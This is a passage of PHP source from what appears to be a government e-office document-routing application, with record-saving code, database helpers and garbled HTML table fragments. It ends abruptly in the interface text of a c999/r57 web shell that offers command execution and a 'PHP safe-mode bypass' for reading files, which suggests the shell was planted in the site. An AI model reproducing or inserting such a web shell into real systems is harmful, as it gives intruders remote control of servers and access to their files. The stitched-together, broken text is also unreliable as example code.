$oDoc->DslID=$oDoc->DslID; $oDoc->DclID=$oDoc->DclID; $oDoc->DsID=$oDoc->DsID; $oDoc->RsID=$oDoc->RsID; $oDoc->DocDateCreate=$oDoc->DocDateCreate; $oDoc->DocUserCreate=$DlcID; //echo "DocUserCreate=".$oDoc->DocUserCreate." "; $oDoc->DocTypeNo=$oDoc->DocTypeNo; $oDoc->DocDate=$oDoc->DocDate; $oDoc->DocNo=$oDoc->DocNo; $oDoc->DocSubject=$oDoc->DocSubject; $oDoc->DocFrom=$oDoc->DocFrom; $oDoc->DocTo=$oDoc->DocTo; $oDoc->DocShortDesc=$oDoc->DocShortDesc; $oDoc->DocSpeedLevelDueDate=$oDoc->DocSpeedLevelDueDate; $oDoc->DocStart=$oDoc->DocStart; $oDoc->DocFinish=$oDoc->DocFinish; $oDoc->DocGroup=$oDoc->DocGroup; $oDoc->DocRef=$oDoc->DocRef; $oDoc->DocCircular=$oDoc->DocCircular; $oDoc->DocfCir=$oDoc->DocfCir; $oDoc->DocOther=$oDoc->DocOther; $oDoc->CertificatePs=$oDoc->CertificatePs; $oDoc->fDelete=$oDoc->fDelete; $oDoc->endDoc=$oDoc->endDoc; $oDoc->sendToPs=$oDoc->sendToPs; $oDoc->AnID=$oDoc->AnID; $oDoc->DocRefAns=$oDoc->DocRefAns; $oDoc->DocRefAnsID=$oDoc->DocRefAnsID; $oDoc->DocstartDatePost=$oDoc->DocstartDatePost; $oDoc->DocendDatePost=$oDoc->DocendDatePost; $oDoc->DocMainPost=$oDoc->DocMainPost; $oDoc->DocGetPost=$oDoc->DocGetPost; $oDoc->DocShowInOut=$oDoc->DocShowInOut; $oDoc->DocDateGetPost=$oDoc->DocDateGetPost; $oDoc->useMainDocNo=$oDoc->useMainDocNo; $flagCommit = $oDoc->Save(); $oRs2->SearchPreDocReceive($DlcID,$DlcID2,$maxgroup,$oDoc->DocID); $oRs2->GetRecord(); $oRs2->Edit(); $oRs2->DrsID=$oRs2->DrsID; //echo "DrsID=".$oRs2->DrsID." "; $oRs2->DocID=$oRs2->DocID; //echo "DocID=".$oRs2->DocID." "; $oRs2->DlcID=$DlcID; //echo "DlcID=".$oRs2->DlcID." "; $oRs2->DsID=$oRs2->DsID; $oRs2->personId=$oRs2->personId; $oRs2->PtID=$oRs2->PtID; $oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo; $oRs2->DrsReceiveDate=$oRs2->DrsReceiveDate; $oRs2->DrsReceivePersonId=$oDlc->personId; //echo "DrsReceivePersonId=".$oRs2->DrsReceivePersonId." "; $oRs2->DrsSendDate=$oRs2->DrsSendDate; $oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId; $oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID; $oRs2->DrsDocDueDate=$oRs2->DrsDocDueDate; //echo "speedDate2=".$speedDate." "; $oRs2->DrsDlcIDCreate=$oRs2->DrsDlcIDCreate; $oRs2->DrsPsIDCreate=$oRs2->DrsPsIDCreate; $oRs2->DrsPropose=$oRs2->DrsPropose; $oRs2->DrsSign=$oRs2->DrsSign; $oRs2->DrsFromDrsID=$oRs2->DrsFromDrsID; $oRs2->DocGroup=$oRs2->DocGroup; $oRs2->DrsflagRead=$oRs2->DrsflagRead; $oRs2->DrsByPass=$oRs2->DrsByPass; $oRs2->DrsSend=$oRs2->DrsSend; $oRs2->DrsSendToPs=$oRs2->DrsSendToPs; $oRs2->DrsDelete=$oRs2->DrsDelete; $oRs2->DrsMainPs=$oRs2->DrsMainPs; $oRs2->AnID=$oRs2->AnID; $oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate; $oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate; $oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew; $oRs2->DrsInboxID=$oRs2->DrsInboxID; $oRs2->DrsstartDatePost=$oRs2->DrsstartDatePost; $oRs2->DrsendDatePost=$oRs2->DrsendDatePost; $oRs2->DrsSendBack=$oRs2->DrsSendBack; $oRs2->DrsSendBackDlcID=$oRs2->DrsSendBackDlcID; $oRs2->DrsfSendBack=$oRs2->DrsfSendBack; $flagCommit = $oRs2->Save(); if($flagCommit) $oC->CommitTrans(); else $oC->RollbackTrans(); } } } function SearchdeptIdlevel0($deptId){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDepartment.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP3 = new Department($oC); $oDP3->SearchByKey($deptId); $oDP3->GetRecord(); if($oDP3->deptLevel!=0){ return SearchdeptIdlevel0($oDP3->deptParentId); }else{ return $oDP3->deptId; } } function GetDrsReadDoc($DocID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDocattatches.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDoc3 = new Documents($oC); $oDatt2 = new Docattatches($oC); $oDoc3->SearchByKey($DocID); $oDoc3->GetRecord(); //---set DrsReadDoc if($oDoc3->DocPID=="0" || $oDoc3->DocPID==""){ $searchDocRead=$oDoc3->DocID; }else{ $searchDocRead=$oDoc3->DocPID; } $countdocread=$oDatt2->CountDocByDocID($searchDocRead); for($i=1;$i<=$countdocread;$i++){ $writeReadDoc=$writeReadDoc.'0'; } return $writeReadDoc; } function GetStatusReadDoc($DrsReadDoc,$DaSeq){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDocattatches.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDoc3 = new Documents($oC); $oDatt2 = new Docattatches($oC); $string = $DrsReadDoc; return $string{$DaSeq-1}; } function showsteplinedoc2($searchDoc,$tab){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDocReceiveSend.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsPerson.php"; include_once "../class/clsDepartment.php"; include_once "../link/function.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDoc = new Documents($oC); $oRs = new DocReceiveSend($oC); $oRs1 = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $oRs3 = new DocReceiveSend($oC); $oRs4 = new DocReceiveSend($oC); $oRs5 = new DocReceiveSend($oC); $oDlc = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oPS = new person($oC); $oDlc1 = new DocLineConfig($oC); $oDlp1 = new docLinePosition($oC); $oPS1 = new person($oC); $oPS2 = new person($oC); $oDP = new Department($oC); $oDP1 = new Department($oC); if($tab!=""){ $tab=" ".$tab; }else{ $tab=" "; } $oDoc->SearchByKey($searchDoc); $oDoc->GetRecord(); ?>
| |||||||||||||||||
"; echo ""; if($DlcdeptId==$deptId){ $mydept=$iselect; } $tab=" "; if($oDPt->deptLevel%2 != 0){ $stylefont=""; $stylefont2=""; } for($i=1;$i<=$oDPt->deptLevel;$i++){ $tab.=" "; } $nextpssend=searchnextpssend($pssend,$oDPt->deptId); $oRs9->searchHaveSendDoc($pssend,$nextpssend,$searchDoc); if($oRs9->GetRecord()==1){ $showimg=""; } echo $showimg.$tab.$stylefont.$oDPt->deptName.$stylefont2; echo " | |||||||||||||||||
"; echo ""; $nextpssend=searchnextpssend($pssend,$oDPt->deptId); if($nextpssend!=""){ $oRs9->searchHaveSendDoc($pssend,$nextpssend,$searchDoc); if($oRs9->GetRecord()==1){ echo ""; } } $tab=" "; if($oDPt->deptLevel%2 != 0){ $stylefont=""; $stylefont2=""; } for($i=1;$i<=$oDPt->deptLevel;$i++){ $tab.=" "; } echo $tab.$stylefont.$oDPt->deptName.$stylefont2; echo " |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]-- |